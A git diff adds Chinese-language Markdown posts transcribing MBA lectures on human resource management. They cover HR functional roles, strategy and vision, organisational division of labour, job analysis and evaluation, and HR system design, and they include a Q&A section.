+第三：客户服务经理。人力资源部门要给各部门管理者应用支持服务。 + +所以，在企业里面，人力资源部门要由三种专家力量构成。 + +第一：人力资源的技术人家。你要懂得各种技术方法。 + +第二：心理学家。包括任何技术问题，其本质都是心理学问题。 +就像我刚才说的，考核本来根本就不需要技术。我从来不相信各部门管理者会不知道自己的员工谁工作好谁工作坏，他们一定知道。考核最重要是各级管理者要勇于承担起考核的责任。记住，没有这种责任感的情况下，任何考核的技术都是无效的。这就是心理学问题。 + +第三：法律专家。人力资源必须注重劳动法的问题。你们翻开任何一本老外写的书，一定有重要章节是讨论有关就业歧视、劳动合同问题的，而今天这个问题在我们面前已经越来越突出。 + +第四个阶段，由外到内的人力资源管理。解决三个问题：领导力，文化和人才。 + +既然人力资源关注的问题在发生变化，所以它的职能也发生了变化。 + +我们看看现在外企，包括一些大的民营企业和一些大的国企，人力资源的工作随着职能的变化，在结构上又发生了变化。在我们的企业还是分模块，按照绩效、薪酬、招聘、培训、劳工关系来划分的时候，这些外企和大型企业已经分成了一种职能上的划分。 + +第一个职能：HR-COE（center of expertise），称之为专家领域。 + +我最早接触这个概念，是10年前在一家外企。它说我们有内部专家。这些内部专家是干什么的？HR-COE的职能是借助本领域的专业技能和管理实践，负责设计基于业务导向、创新的人力资源政策、流程和方案，并为具体的执行这些政策的人员提供技术支持。这些政策由谁来执行呢？引出人力资源的第二个职能。 + +第二个职能：HR-BP（business partner），称之为业务伙伴。 + +注意，今天的人力资源应当是业务的伙伴。HR-BP的主要职能是针对内部客户需求，提供咨询服务和解决方案，确保人力资源贴近业务需求。 + +谁来做这项工作呢？要从一线中去找那些懂业务的人来做。他们会把HR-COE制定的政策、方法用于支持企业战略业务需求。 + +而HR-COE和HR-BP要聚焦在战略性、咨询性工作上，就必须从事务性工作中解脱出来。这也就引出了人力资源的第三个职能。 + +第三个职能：HR-SSC（shared service center），称之为共享服务。 + +这就是那些我们之前甚至现在人力资源部门主要做的那些事务性工作。主要职能是向员工提供标准的人力资源服务，负责解答管理者和员工的询问，帮助HR-BP和HR-COE从事务性工作中解脱出来，保证员工满意度和管理运营的需求。 + +我们分析了这门学科理论上发展的四个阶段，每个阶段存在的问题是不一样的。那么中国企业所面临的问题，在现实中远远复杂于西方企业。因为西方企业是随着工业革命进程，一点点产生问题，一点点思考，一点点寻求对问题的解决方案。而我们同时面对的事务性、技术性和战略性问题，就注定我们的管理环境要复杂于西方企业。 + +人力资源管理制度设计五要素模型 + +前面讲了，人力资源要基于人性的来考虑。但是管理靠的是制度。这就产生了管理上的一种悖论。当我们强调人性的时候，可能会违背了制度原则。而强调制度管理，又可能会违背人的本性。因此，管理是一种悖论。为了给大家一个系统的思考，正本清源，我们首先搭这个模型。成为人力资源制度设计的五要素模型。它是一个系统思考，这就是战略、组织、人力资源、制度管理和文化整合。 + +![](/uploads/2018/10/30-21.png) + +就像刚才说为什么老外不用那么聪明，不用那么努力，最后还比咱们挣钱挣得多。他们得益于他们的清单，那也是一种制度设计。 + + 再给大家举个例子，吃饭。西方人选择吃自助餐，而我们中国人选择吃桌餐。、当你比较这两种吃饭方式，你会发现自助餐是一种占用资源最少，管理最简单，成本最低，而且最大限度地满足人个性化的需求的用餐方式。而我们的桌餐的成本最高，管理最复杂，最浪费，结果也最不容易满足人的个性化需求。 + +如果咱们的老板请客，说随便点。各位你们敢随便点吗？你们一定想咱们老板爱吃什么，听说老板爱吃鲍鱼，正好咱也爱吃，点鲍鱼。 + +上来一看， +这是什么东西？ +鲍鱼。 +给谁点的？ +给您的。 +为什么？ +听说您爱吃鲍鱼。 +谁说我爱吃鲍鱼，我根本不爱吃。 +你敢说老板我替你吃了？ +于是，爱吃的看着，不爱吃的也看着。最后临走的时候，看着满桌子的剩菜，嘴里还骂骂咧咧的“咦，真浪费”。赖谁啊，赖制度。  + +我们看西方的社会的企业管理，它们都得益于一种制度设计的优势。在接下来的课程内容包括未来的课程中，我会重点把这个五要素模型中的战略、组织运行、制度设计和文化整合四个方面进行讲解。下面我们先看这个五要素模型中的战略。 + +人力资源管理制度设计五要素模型——战略 + +人力资源首先是战略行为，组织要追随战略。战略动，组织动。战略定型，组织定型。 + +我不是要给大家讲战略，而是我要通过战略这个话题中导出我的问题。问大家一个问题，做企业战略重要不重要？重要。但是请注意，不要夸大战略的指引对管理的影响。 + +怎么理解，举个例子：当年，家电企业做电脑就像一窝蜂似的，海尔、海信、TCL都做了。但是为什么最后坚持说家用电脑就剩TCL，而且TCL最后还把它卖掉了。为什么2015年、2016年联想做PC巨额亏损，而微软推出的产品逆势增长。 + +这个绝对不是简单的战略问题，更不是简单的战略思考和方向的选择问题。我用一句话给大家讲清楚什么叫战略。 + +所谓战略就是你必须清楚的知道你这个企业在未来是做什么的，然后研究怎么做这件事情，它包括三个要素： + +1、远景，也有人称之为愿景。 +2、目标。 +3、方法。 + +什么叫远景，我要做到行业第一；什么叫目标，我今年要实现销售300亿；什么叫方法，我怎么才能达成这个目标。 + +因此，从战略的本质而言，战略首先是一整套有效执行的手段，它是一个方法体系。当然，战略首先也需要方向，方向也非常重要。因此，战略包括两个核心： + +核心一：方向。 + +核心二：方法。 + +我们先不谈方法，先谈方向。这个所谓方向，就是一个企业未来发展的远景。问大家一个问题：做企业，这个愿景重要不重要？重要。 + +但我敢保证，各位同学没有几位真正能从战略的高度和文化的角度去理解远景最深层的含义。可能很多人还会觉得远景这个东西比较虚，比较空谈，没什么意思。注意，当你看一本书，你说这本书没有意思，听老师讲课，你说这段没劲。其实这个时候，恰恰是我们自己没有理解的时候。 + +举个微软的例子，让大家理解一下。 + +先说我这个人的一些特点，我这个人脑子够使，但我的手特别笨，所有动手学的东西，我本能地拒绝。到现在为止，我也不会开车。那时候学校让我们老师学计算机，我就觉得学计算机这事儿肯定特别痛苦。我不想学，我还发了一个誓，我一辈子不用计算机，我就不信当不了个好老师。 + +但是，偶然的机会，我发现计算机确实对教学有帮助，所以我就下决心学。万万没想到，用了半个小时，把计算机给搞定了，知道为什么吗？因为计算机真的特别简单，一共有三步。 + +第一步，不叫开机，记住，要想使自己和别人不一样，别人说的话，坚决不说，在战略上这叫差异化。第一步叫——把电源打开。 + +第二步：把文件打开。 + +第三步：写下要写的字。 + +我写的第一行字是“我是徐玉林”。当我写上这行字，我特别感慨地跟我的同学说：“比尔盖茨不挣钱，谁挣钱。”为什么我这么说，因为他把书写这么复杂的工作，用极其便捷、和简单的方式进行了表达。 + +那我学计算机的经历和微软的愿景有什么关系呢？我们看看，作为微软战略思考的重要组成，作为微软企业文化的重要组成，其愿景是，比尔盖茨说： +“我们从一个愿景开始，每张桌子，每个家庭都有一台电脑，每天我们都在提高丰富人类生活的技术，我们真的进步了。” + +同学们，读懂了吗？ + +比尔盖茨这句话里有些东西没有说的特别明白，就是每个办公室、每个家庭都有一台电脑，里边用的都是我微软的系统。 + +而怎么达到这个每台电脑里都是我微软的系统的伟大未来？怎么办？就是从现在开始，我们每天都要不断寻找提高丰富人类生活的技术。只有那样，每台电脑才会选择我微软的系统，那个钱才真正是属于我们的了。 + +各位，多么简单的话，但又是多么伟大的思想。当我第一次做它的客户，用它的产品，产生的第一个判断，就是和它的创业愿景产生了共鸣。 + +仅从这一点来看，我们就能认识到中国的企业少有战略，中国的企业少有文化。大家看我们的周围，有哪家企业能以一种经营的理念融入到你客户和员工的心目当中。 + +讲到这里，大家应该对愿景的深刻含义有点儿感受了。就像扎克伯格说： +“Facebook的建立，从一开始并不想做一家公司，它是要完成一个社会的使命，这个使命就是让世界变得更加的开放，让我们的联系更加紧密。” + +同学们，他做到了没有？做到了。一句话就成就一份伟大的事业。 + +但是也有人问扎克伯格，如果再让你做一家企业，你做什么？想了想之后，他说：“我会让这个世界变得更加的私密。” + +理解吗？前一个让世界开放的思维，确实让我们的联系紧密了，但是也让我们失去了很多属于我们自己的生活。 + +谈到比尔盖茨和扎克伯格给自己的企业设定战略愿景，我想稍微引申一个话题，就是什么人可以做企业？什么人可以当老板？什么人可以管事？什么人可以管人？这个话题困扰了我的很长的时间，有一天，我终于想明白了，做企业，当老板，管事，尤其是管人，有三条必备。 + +第一条：要有梦。 + +没有梦的人，做不了企业，当不了老板。大家看我们周围，那些成功的企业家各个都是完美主义者。 + +举个例子，几年前我在一个地方讲课，过来一个女同学说，许老师，这是我公司的介绍，我们想邀请您去我们那看一看，给我们指点一下。我一看，呦，蛮像样的企业。这个企业占地900亩，已完成厂房建设736亩，员工2200多人，资产10多亿。这位女同学就是这家公司的总经理，也是这家公司的老板娘，她的丈夫是这家公司的董事长。第二天中午一下课，她企业来车，组织我和同学们都到她家的企业去参观了。 + +到了门口，她的丈夫出来迎接，说：“许老师，你来参观指导，我很激动啊，我也没有睡好觉。我也没有文化，我们家全是我老婆说了算。”她老婆也应和说：“我们俩真的都要累死了，还得许老师多指导。”我和他们聊了聊，才知道她为什么说要累死，他们也确实可能会累死。俩人天天五点半起床，六点半到公司开晨会，半夜十点之前从来没有离开过企业。他们一天几乎是你们两天的时间。 + + +同学们，生命在于什么呀？不是生命在于运动？而是生命在于时间。 +到厂区里去看，厂区里到处都是巨幅的标语。你一看，这些标语全是大白话。我给大家讲两句我记住的，第一句， +“人多，事多，税多”， + +什么意思，告诉所有员工，本老板承担社会责任，养人纳税，为国家做贡献。第二句， +“学本领，考好事，涨工资”， + +同学们，这企业的董事长不是说自己没有文化吗？你们觉得这企业有没有文化啊？太有文化了！谁说文化一定是读书读来的。 + +一直往里走，我又看到车间过梁上一幅幅的巨幅的照片，是企业的全家福照片。他有N张这样的照片，第一张照片是1996年，最近的一张是2014年，完整记录了他企业从小到大的发展过程。 + +参观完毕，我问同学们了一个问题，也问在座的今天的各位：你们有没有想过那一张张照片代表的是什么？那代表的是他的梦，他的一辈子就是为了实现他自己的这个梦想。他们说自己起早贪黑的，非常累。同学们，他们累吗？他们一点儿都不累，为什么？那是他生活的方式。 + +总有人说，你看我们老板怎么又管这个又管那个，怎么可能不管，你想想，梦是多么的完美，你连地都扫不干净，你说不我管你我管谁？记住，下次员工再说你们管得多，你就问他一句话，知道我是谁吗？ + +我是追梦的人。 + +第二条，要狠。 + +做企业当老板，管事，尤其是管人，要狠，不狠的人，做不了企业，当不了老板。 + +以前有一档很好的节目叫《赢在中国》。决赛那期请了两个人，一个是柳传志，一个是张瑞敏，这两个人是中国企业家两个典型的代表。柳传志自始至终强调管理靠制度。张瑞敏从制度开始，最终上升到人性。 + +那天，主持人让两位点评选手。老柳说，我没什么可说的，年轻人，作为冠军，我恭喜你。但我也想送你一句话，作为一个团队的管理者，作为企业老板，你做事要再狠一点。这一个狠字落地，就是柳传志的特质。他说，联想为了建一支铁军，每年联想都要往监狱里边扔几个人。 + +联想扔的第一个人是谁呀？孙宏斌。在我看来，孙宏斌是老柳培养的第一个接班人，他的能力绝对高于郭为、杨元庆。当孙宏斌走出狱门，老柳是怎么做的，大哥为你接风，想不想做事，想，需要什么，说吧，准备好好干，我支持你。 + +这是什么呀，江湖。这个狠，指的是规矩。哪最讲规矩，江湖。规矩一定，出了圈我就收拾你。大家理解为什么我对你们要求这么高？因为你们是企业一级规则制定者，而你们恰恰也是企业规则最大的破坏者。这个狠指的是规矩，靠的是制度。 + +第三条，必须还原它的本性。 + +这一条最难理解，它太哲学。做企业要还原做企业的本性，做事还原做事的本性，做人还原做人的本性。而这三句话，恰恰道出了做企业的三个层面。你要想把企业做好，就要把事做好，你要把事做好，就必须把人做好。 + +为什么最终说做企业做的是人？ + +你记住，挣钱和做企业是两个完全不同的概念，你要想挣钱，就做不好企业，你要把企业做好了，这个钱就一定是你的。挣钱是结果，做企业是过程，如果你太执着于那个结果，你就会变得急功近利。 + +举个星巴克的例子。星巴克是做咖啡的。舒尔茨，它的创始人，创业初期就提出一个非常重要的理念，他说要把星巴克打造成人们生活的第三空间。咱们生活的第一空间是家。第二空间是职场。那么如果他能一直以这种理念来打造星巴克，结果一定是成功的。 + +但是，2006年星巴克全球亏损。为什么呢，就是因为星巴克快速的发展结果。舒尔茨总结出来，在过去几年星巴克犯了一个错误，他们让这个品牌过度地商品化了。如果它过度地商品化了，其实就偏离了它最核心的品质。 + +舒尔茨回归之后，提出第一项改革措施——放慢速度。我星巴克做的不是盲目生意，我是要为顾客提供完美的饮品。对于星巴克来讲，提升质量和好的服务，比速度更重要。 + +因此，在这种纲领指导之下，星巴克提出了一系列实施细则： + +![](/uploads/2018/10/30-22.png) + +我们星巴克给大家的是一种体验，是一种文化，这星巴克的本性。2007年，全球扭回局势，记住，挣钱和做企业是两个完全不同的概念，这才叫做企业。 + +回到主题，战略。其实我并不想特别细致的去讲战略，我的重点就是让大家对愿景有所了解，能够有所思考。这个愿景既是战略思考，它也是你文化的组成。 + +那么人力资源与战略有什么关系，为什么要讲这么多战略的东西？因为人力资源要支持企业战略目标的实现，任何人力资源的技术方法必须用于知识企业战略目标的实现。 + +举一个GE的例子。在整个GE的战略思维中，它的战略实施靠的就是人力资源的两大系统： + +第一个：C会议（绩效管理体系）。 + +第二个：人力资源奖惩和提升系统。 + +![](/uploads/2018/10/30-23.png) + +请注意，整个GE的战略实施是靠人力来执行的，其核心就是绩效。战略实施的核心就是绩效，领导力的核心也是绩效，执行的核心还是绩效。 + +因此，绩效是三个核心，战略实施，领导力和执行。而我们前面已经讲过，绩效的评估方法和技术都要来自于人力资源部门，只是具体的执行需要有业务部门来操作。 + +具体你的企业应当用哪些人力资源管理方法和技术来实现你的战略，依你企业的实际情况而定，这个话题因为时间关系，我们不再展开，留待大家下去之后结合自己企业的实际去思考。 + +问答 + +问题1：HR-BP（合作伙伴功能）是否会导致HR对业务部门的工作参与较多，导致权限过大，对业务部门形成干扰？ + +许玉林：HR-BP是一种新做法，你提这个问题应该说明你还没有真正理解HR-BP的工作。首先，因为HR-BP是给业务部门提供支持和服务的，不是具体去管人的，所以它不会干扰业务部门的工作。然后，做HR-BP的这些人他们从哪来？大部分是从一线当中挑选的懂业务的人，让他们来从事这项工作，也是因为他们最知道一线需要什么。同时，他们是人力资源工作者，当他们把这些人力资源的制度、方法和技术掌握熟了以后，就可以用于支持企业战略目标的实现。 + +一般来讲，一个企业里边大概平均两百到三百位员工就要配备一个HR-BP，让人力资源真正成为支持企业目标实现的工作，而不会干扰到日常的工作。 + +问题2：每年公司都会根据战略规划对组织架构调整是否合理？是否会产生不良影响？ + +许玉林：战略动组织动，战略定型组织定型，如果你的组织总是需要调整的娿，那说明战略有问题，这是不正常的。 + +问题3：总经理下设总经理室，而副总经理、助理总经理、总经理助理、秘书均在此部门中工作，您对这种非常规性设置如何看待？ + +许玉林：这个结构就是一个非常规设置。你们的总经理办公室和常规的总经理办公室就不是一个概念。总经理办公室是支持总经理工作的一个机构，那里应该设总经理秘书。我不知道你企业规模多大，如果你们的总经理秘书不负责行政事务的话，那总经理室就相当于总经理的一个参谋机构。而副总是不应当在总经理室里边的，所谓副总是一级管理权限的。然后你提到的助理总经理和总经理助理又是两个完全不同的概念，总经理助理应当在总经理室里边。但是，助理总经理是强化一级管理功能的，比如说财务部这样重要的部门，我为了强化管理功能，给你一个助理总经理兼财务部经理的职位。所以你们企业的组织结构是乱的，不清晰的，要梳理了。 + +问题4：如何正确理解人力资源管理中—— +1） 组织与工作系统的研究； +2） 人的研究 +——这两条主线？ + +许玉林：我们需要还原人力资源管理的本性。过去我们一直认为人力资源是解决人的问题，但是你有一天忽然发现麦当劳仅仅通过一个简单的清单，就把考核做的很好。清除明确列出了所有的工作要求，点减法进行考核，自然考核就容易了。所以这不是一个思维方式问题，这就是我们必须要解决的问题。所以你如果想解决人的问题，首先要对组织工作进行梳理，要把这个系统建立起来。所以它是两条主线，工作在先，人在后，原则是人与工作匹配。然后等工作系统建立起来以后，再去找人匹配员工，这才是我们要解决的问题，谢谢。 + +问题4：您常说管理靠的是制度，但是企业中往往破坏制度的就是老板，该如何应对这种情况？ + +许玉林：给大家举个例子吧，曾经有一家企业的老板让我给他们做咨询。后来我发觉有个问题，我讲的他根本就不听，他只听能够诠释他的思想东西。这件事后来就变成我去给他的思想做诠释，论证他是对的，像这种企业谁也改不了，所以最后我就终止了这个项目。我说对不起我解决不了你们企业的问题了。为什么解决不了?我说你如果想我解决你们企业的问题，首先你要改变你自己。 + +所以我经常讲的一句话，面对环境你有三种做法。第一是改变大环境；第二是大的改变不了改变小环境；第三是什么都改变不了那就适应环境。所以如果你是职业经理人遇到这样的问题的话，那你要选择，如果小环境你也改变不了，适应环境也适应不了的话，最后你就只能选择走人，就是这样。 + +从自身的职业发展角度，去留的问题上来讲，你要问自己四个问题。 + +第一，这个行业有没有发展前途？ + +如果有的话，再问自己第二个问题。 + +第二，这个老板是不是好人？ + +是，跟着他，再看第三个问题。 + +第三，老板有没有能力？ + +有，跟着他，最后再问自己第四个问题。 + +第四，你是否乐意和这个企业成长，是否有种机制能够让你和它一起成长？ + +如果都没有的话，你只能选择另外的职业。 + diff --git a/_posts/2018-10-30-307-xyl03.md b/_posts/2018-10-30-307-xyl03.md new file mode 100644 index 0000000..fbc34b3 --- /dev/null +++ b/_posts/2018-10-30-307-xyl03.md @@ -0,0 +1,415 @@ +--- +layout: post +title: 【人力资源管理模块】 第3节 人力资源管理制度设计之组织运行 +pid: 307 +tags: [mba] +--- + +人力资源管理模块 第三讲 + +人力资源管理制度设计——组织运行、制度体系与文化整合（上） + +承接第二讲我们讲过的人力资源管理制度设计的战略思考，第三讲我们先来讲一下组织运行。 + +组织要追随战略，战略动、组织动，战略定型、组织定型。实际上，人力资源管理是从组织开始的，这是以往我们所忽略的核心命题。组织是战略实施的载体，人力资源是研究人在组织中的行为，因此人力资源管理一定是战略行为。 + +既然组织是不可回避的命题，那么组织能够帮助我们解决什么问题？ + +组织解决效率问题 + +举个例子，如果我现在交给大家一项任务：请各位把桌子、凳子全部搬到楼下。我们可能会这么规定，搬一个桌子200元，一个凳子50元。然后我在门口守着，搬一个桌子我给发个红条，搬一个椅子我给发个白条，最后按照拿的条来我这儿结算工资。这样就为这项工作提供了一个有价值的解决方案，叫做计件工作制。如果假设大家是驱利的，面对利益，你们会好好把活干完。 + +但是，你们听完了这个工作描述和解决方案，能不能提出一个很重要的问题？这个问题就是：在同样的条件下（等量的工作内容、人数和报酬），如何进一步提高这项工作的效率？首先系统地提出“如何提升工作效率”问题的这个人就是亚当·斯密。 + +![](/uploads/2018/10/30-24.png) + +亚当·斯密是劳动分工理论的提出者。他的代表作《国富论》是影响世界历史进程的书籍。这本书应该是每位同学家藏的书，压书架的书。 + +如果说刚才“搬桌子”慢，那么我们怎么才能提高效率？是不是可以把“搬桌子”改成“传桌子”？这便是通过劳动分工的方式来有组织地完成这项工作。注意，只要我们改变工作的方式，效率就可以大大提高。因此，组织的产生是为了解决效率问题。用一句话总结怎样提高一个组织的运行效率——就是进行有效的、专业化的劳动分工。 + +为什么麦当劳的效率高？当他们把大堂清洁的工作分解成100多条内容，效率自然就会提高。我甚至认为亚当·斯密的劳动分工理论对人类的影响是仅次于《圣经》的。大家想一想，如果没有分工会怎样？如果没有劳动分工，整个社会、组织乃至个人的效率都会大大降低。 + +因此，管理的根本问题，就是专业化的分工问题。专业化分工越细，组织运行效率越高。组织的效率来自于精细与专业化。 + +无论时代如何变化，管理的本性不会改变。无论是传统产业还是新兴产业，变的是方法，不变的是思想。就比如C919型飞机的诞生，它的背后必须有上百万的产业功能支持。 + +讲到这里，给大家推荐两篇文章。一篇文章叫《欧洲已死，死在第四次工业革命前夕》，另一篇文章叫《伟大的中国工业革命》。 + +今天，我们正处于第四次工业革命的开始，互联网、自动化、人工智能将成为第四次工业革命的基石，后人会称之为人工智能时代。它的特点是机器制造机器，其背后必须拥有庞大的产业群和产业工人的支持。欧洲已经不具备这个条件。印度虽然人口多但缺少工业基础。另外，全世界只有两个国家拥有联合国公布的完整工业产品目录，分别是前苏联和中国。苏联解体之后，就只剩下中国，因此中国将很大概率引领第四次工业革命。今天，中国已经不是简单的制造大国了，我们一定会跟上并超越这个时代。 + +回到主题，继续谈精细与专业化分工。我们看麦当劳的品控，麦当劳的制作标准可以精细到0.01毫米，肉饼直径是98.5毫米，厚度是5.65毫米，重量是47.32克。麦当劳的肉饼从加工到客户手中，要经过40多道工序，每道工序都有严格的作业标准。麦当劳的案例告诉我们，专业化分工要精细到动作研究，动作研究是专业化分工的管理基础，管理的基础来自于专业化分工。 + +这里给大家推荐两本书，一本是《科学管理原理》，原著时间是1911年，它被誉为管理学的纪元之作，作者泰勒，被誉为“科学管理之父”。看了这本书你会对“动作研究是专业化分工的管理基础”理解更为透彻。 + +另一本书是《德胜员工守则》，这本书已经重印了28次。德胜是一家合资企业，公司位于苏州，主要经营木制别墅。德胜质量管理极其严格，从我的座位到对面墙，20个螺丝钉、木螺丝，要求刀口必须在同一条线上才叫合格。 + +我们再来看一个极致的例子。F1车队，22个人的任务是在6秒钟换装4个新轮胎并加满油箱。他们将动作分解为：工作人员手持千斤顶，几乎在车停下的同时将车身撬起。0.3秒卸下4个车轮的螺丝、2.2秒内取下旧轮胎、3.5秒换上新轮胎并拧紧螺丝。换胎的同时，1.5秒内加满油箱。这是22个人6秒的工作任务。这就是专业，这就是精细化。组织的效能就是专业化分工的产物。 + +组织与战略、人力的关系 + +前面讲过，组织要追随战略。那么从工作的角度出发，战略要分解成一项一项的功能，于是组织下面就也要有相应的部门。要想履行这些功能，就必须分解成一项一项的职责，于是部门下面就有了相应的岗位。要想履行职责，就必须分解成一项一项的工作任务，把任务分解到岗位上，再由人完成这项工作。组织的作用就是有效地组织人力资源来支持企业战略目标的实现。这就是战略、组织和人的关系。 + +![](/uploads/2018/10/30-25.png) + +因此，从战略看组织，组织是战略实施的载体。而从组织看人力资源，有两条主线，分别是对组织与工作系统进行研究以及研究人；一个原则，是人与工作匹配。 + +我们理解组织与战略和人的关系有什么用？这是我们形成部门职责、岗位规范和工作说明书的逻辑基础，而部门职责、岗位规范和工作说明书又是我们建立学习型组织的基础。换言之，不理解组织与战略和人的关系，就不可能建设学习型组织。 + +如果你觉得太学术了，听不明白。那我给你们讲一个非学术的例子。 + +记得有一次，有个学生请我吃饭，我问他：“这几年你在企业有什么进步吗？” + +他说：“许老师，没什么进步。但是昨天晚上，我刚刚完成一项工作。” + +我说：“你干什么了？” + +他说：“我给我家保姆写了一份工作说明书。” + +闻听此言，不禁感慨，这学生我算是培养到家了，注意我是褒义的赞扬！ + +我们很多人总是说自己管理水平低，但是到底低在哪里了呢？咱们不说管员工，就说家里的保姆，好不容易保姆知道怎么干了，她却走了。新来一个保姆，你又必须重新培养。但是如果有了这份工作说明书，她学习的速度就会加快，培养成本就会降低，管理水平就会提高，这就是最基础的学习型组织的特征。 + +工作分析与工作评价 + +但问题是，我们哪个企业真的把这项工作（制定岗位规范和工作说明书）给做好了？ + +**把一项复杂的工作尽可能地分解成最简单的工作单元，明确岗位职责、规范，制定工作说明书这一系列工作可以被称之为——工作分析。** + +而在我们很多企业中，这项工作是缺失的。而缺少这样基础性的工作，空谈提高管理水平是没有意义的。只有有了正确的认识，方法才能有效。 + +说完工作分析，再来谈一谈工作评价。什么是工作评价？就是用同一把尺子衡量岗位的价值，用同样的因素来确定岗位的薪酬水平，这项工作叫工作评价。大家可能有给人发工资的，也有拿工资的，那我问大家一个问题： + +“企业中总经理工资高，还是扫地的工资高？”（同学答：总经理工资高） +“你们说我说废话，肯定总经理工资高。那好，我再问你们人力资源部经理和行政部经理，谁的工资高？”（同学答：人力高） +“人力，你们怎么知道？”（同学答：管钱的） +“那财务经理和人力资源部经理，谁的工资高？”（同学答：财务高） +“为什么？”（同学答：管钱的） +“管钱的？哦，钱比人重要。你们的判断标准已经出现了。” +“销售经理和财务经理，谁的工资高？”（同学答：销售高） +“销售经理，为什么？挣钱的？不是，我说你们除了‘钱’还有其他标准么？” + +思考完上面这几个问题，你会突然发现更能看清楚为什么不同岗位不同部门有不同的薪酬了。无疑是因为这些岗位对组织的价值是不一样的，薪酬一定是有差异的。 + +很多企业存在的误区是当企业把高薪给了某个人时，他们往往会认为是因为这个人重要。而实际上，我们给薪酬对应的应该是岗位而非某个人。于是，西方人在做薪酬管理时发明了工作评价这个工具。为什么他们要发明这么一个能够尽可能量化衡量薪酬的工具？因为西方人的科学素养就是基于他们的实证主义哲学，他们做任何事情都要去证明，就是要有一个客观的工具来评价出为什么总经理的工资比扫地的清洁工的工资高。 + +**工作评价包含四大要素：** +1. 责任 +2. 知识技能 +3. 努力程度 +4. 工作环境 + +我们可以从这四大要素衡量每一个岗位的价值。每一要素对组织的价值是不同的，权重依次为四、三、二、一。 + +可能又有同学会质疑，说这不是完全数字化的量化啊。请注意，东西方人对“量化”这个词在管理实践上的理解是不同的。我们所说的量化是数量标准、绝对标准。而西方人所理解的量化是：把一项工作分解成可以操作的执行定义，这就是量化。那么，什么是可操作的执行定义？上一讲中给大家展示的麦当劳清单就是。 + +举个例子：如果现在与大家讨论绩效问题，在你们的企业中推行绩效考核、绩效管理，遇到的最大的困惑是什么？标准。这就属于量化问题。很多同学会说我们很多工作没法进行数据测量，没法量化。 + +请注意，当你说没有办法量化时，其实暗含的是你关注的就只是结果。只要企业推行考核，管理者和员工感受到考核的压力，目的其实就已经达到了，你关注的是结果，而我关注的是过程。这就是思维方式的差异，我们要改变思维方式。 + +人力资源管理制度设计之人力资源系统平台 + +新旧组织特点 + +按传统的分类方法，组织可分为：层级化的旧组织、扁平化的新组织形态。讲义中详细地分析了旧组织的特点，这种说明性的东西我不细讲了，大家可以自己看。而新组织有五大特性： + +![](/uploads/2018/10/30-26.png) + +人力资源系统平台建设 + +组织已经进入到开放的时代，去中心可以让组织更具有生命力，因此改变传统的封闭性组织成为了一种趋势。那么，为什么会出现这么大的变化？这就引出了人力资源管理制度体系设计的又一重要话题：人力资源的系统平台建设。人力资源系统平台的建设就几乎涵盖了人力资源管理的全部内容。 + +![](/uploads/2018/10/30-27.png) + +从企业战略出发，其核心是人力资源战略与规划。其中包含两大系统：一个是企业文化建设（企业文化整合系统）；另一个是组织与工作管理系统研究。 + +为什么是这两项内容？大家还记得我们讲过很多次了，人力资源管理的原则是什么？是人与工作匹配的原则。文化解决的是人的问题，组织解决的是工作问题。所以，人力资源系统平台的两大子平台就是企业文化整合系统和组织与工作管理系统平台。 + +1.组织与工作管理系统平台 +首先，我们来看一下组织与工作管理系统平台。该平台又分为两条主线。 + +![](/uploads/2018/10/30-28.png) + +1.1第一条主线是职责权利系统。 + +这条主线可以理解为主要解决纵向的专业化职能分工问题。包括组织设计（部门职责）、部门管理（部门岗位配置与部门工作任务）、工作分析（岗位职责与任职资格评估），每一个岗位的工作说明书。 + +我们前面已经讲过，专业化分工越细，组织运行的效率越高。但这里出现了管理的第一大悖论，我称其为组织运行的效率悖论，即：虽然我们说分工越细，效率越高，但当工作系统发展到一定程度时，专业化分工反而会影响组织运行的效率，也就是很可能会产生官僚组织。注意，官僚组织就是专业化分工的产物。 + +![](/uploads/2018/10/30-29.png) + +管理大师德鲁克（见注释1）就注意到了这个问题，德鲁克说，究其管理的本质，就是解决“度”的问题。到了20世纪90年代，管理学家们注意到了专业化分工使得传统组织产生了官僚化带来的效率低下问题。这就引发了组织与工作管理系统的第二条主线。 + +1.2第二条主线是作业控制系统。 + +这些管理学家们开始研究作业控制系统。通过建立和梳理业务流程再次关注组织效率的提高。这就是90年代所产生的管理思潮——流程再造，全称为流程重组再造组织结构。 + +为什么要进行流程再造？原因是传统的组织设计是强行地按功能进行划分，分工越细，关联问题越多。因此，要通过流程来解决关联问题。这就是ERP（全称企业资源计划）实施的基础。 + +这么梳理下来，大家应该也就理解了为什么中国企业实行ERP管理非常艰难，因为我们还没有完成纵向的专业化职能分工，怎么可能做资源整合、流程再造。 + +总结一下，通过组织解决效率问题，有两个维度：一个是纵向的分工解决专业化问题；一个是横向的流程解决工作之间的关联问题。 + +2.企业文化整合系统 +然后，我们再来看一下企业文化建设（企业文化整合系统）。该平台也有两条主线。 + +2.1第一条主线是企业的规范和行为准则。 + +这条我不多讲了，因为这是过去我们企业一直关注的。我们却忽视了另一个非常重要的主线。 + +2.2第二条主线是员工激励系统。 + +这条主线其实是企业文化整合非常重要的组成部分。从员工绩效角度出发，可以看到人力资源管理有两大主体制度： + +一是绩效考核与管理（业绩控制系统）。通过制度保证目标实现。 + +二是薪酬管理系统。在员工达成目标后，通过制度保障员工利益。 + +绩效代表了员工对企业的承诺，薪酬代表了企业对员工的承诺。业绩控制系统和薪酬管理系统解决的就是员工和企业之间的对等的双向承诺问题。 + +大家学习系统平台这部分内容的时候，一定不能只听我讲，一定要拿着讲义上这个系统图来自己画一画，不然你还是很难理解。我再带着大家梳理一下。 + +首先，从企业战略角度出发，其核心是人力资源战略与规划，它包括两大系统：一个是企业文化建设；一个是组织与工作系统研究。文化解决人的问题，组织解决工作问题，人力资源的核心是人与工作的匹配。 + +组织与工作系统研究又分为两条主线：一个是纵向的专业化职能分工，组织设计、部门管理、工作分析形成每一个工作岗位的工作说明书。专业化分工越细，所产生的关联问题越多。于是，通过作业控制系统来解决关联问题。作业控制的方法是建立业务流程。有了流程就可以做作业指导，有了指导就可以做员工培训。 + +所以，企业培训应该包括什么，从这个系统图中可以看得非常清楚。培训的三大主体内容包括： + +内容一：做什么。员工应该做什么，这部分内容来自于职责权利系统，从职责中来。 + +内容二：怎么做。员工应该怎么工作，这部分内容来自于作业控制系统，从流程中来。 + +内容三：怎么改善提高。如何促进员工进步，员工如何发现自己的不足，这部分内容来自于业绩控制系统的绩效改进模块，从绩效的结果中来。 + +为什么我们的企业员工成长慢，管理不到位？就是因为我们缺乏这些系统的工作，培训一定是无本之木。用绩效考核、薪酬管理、职业发展来解决员工的激励问题，是企业文化建设的核心内容。 + 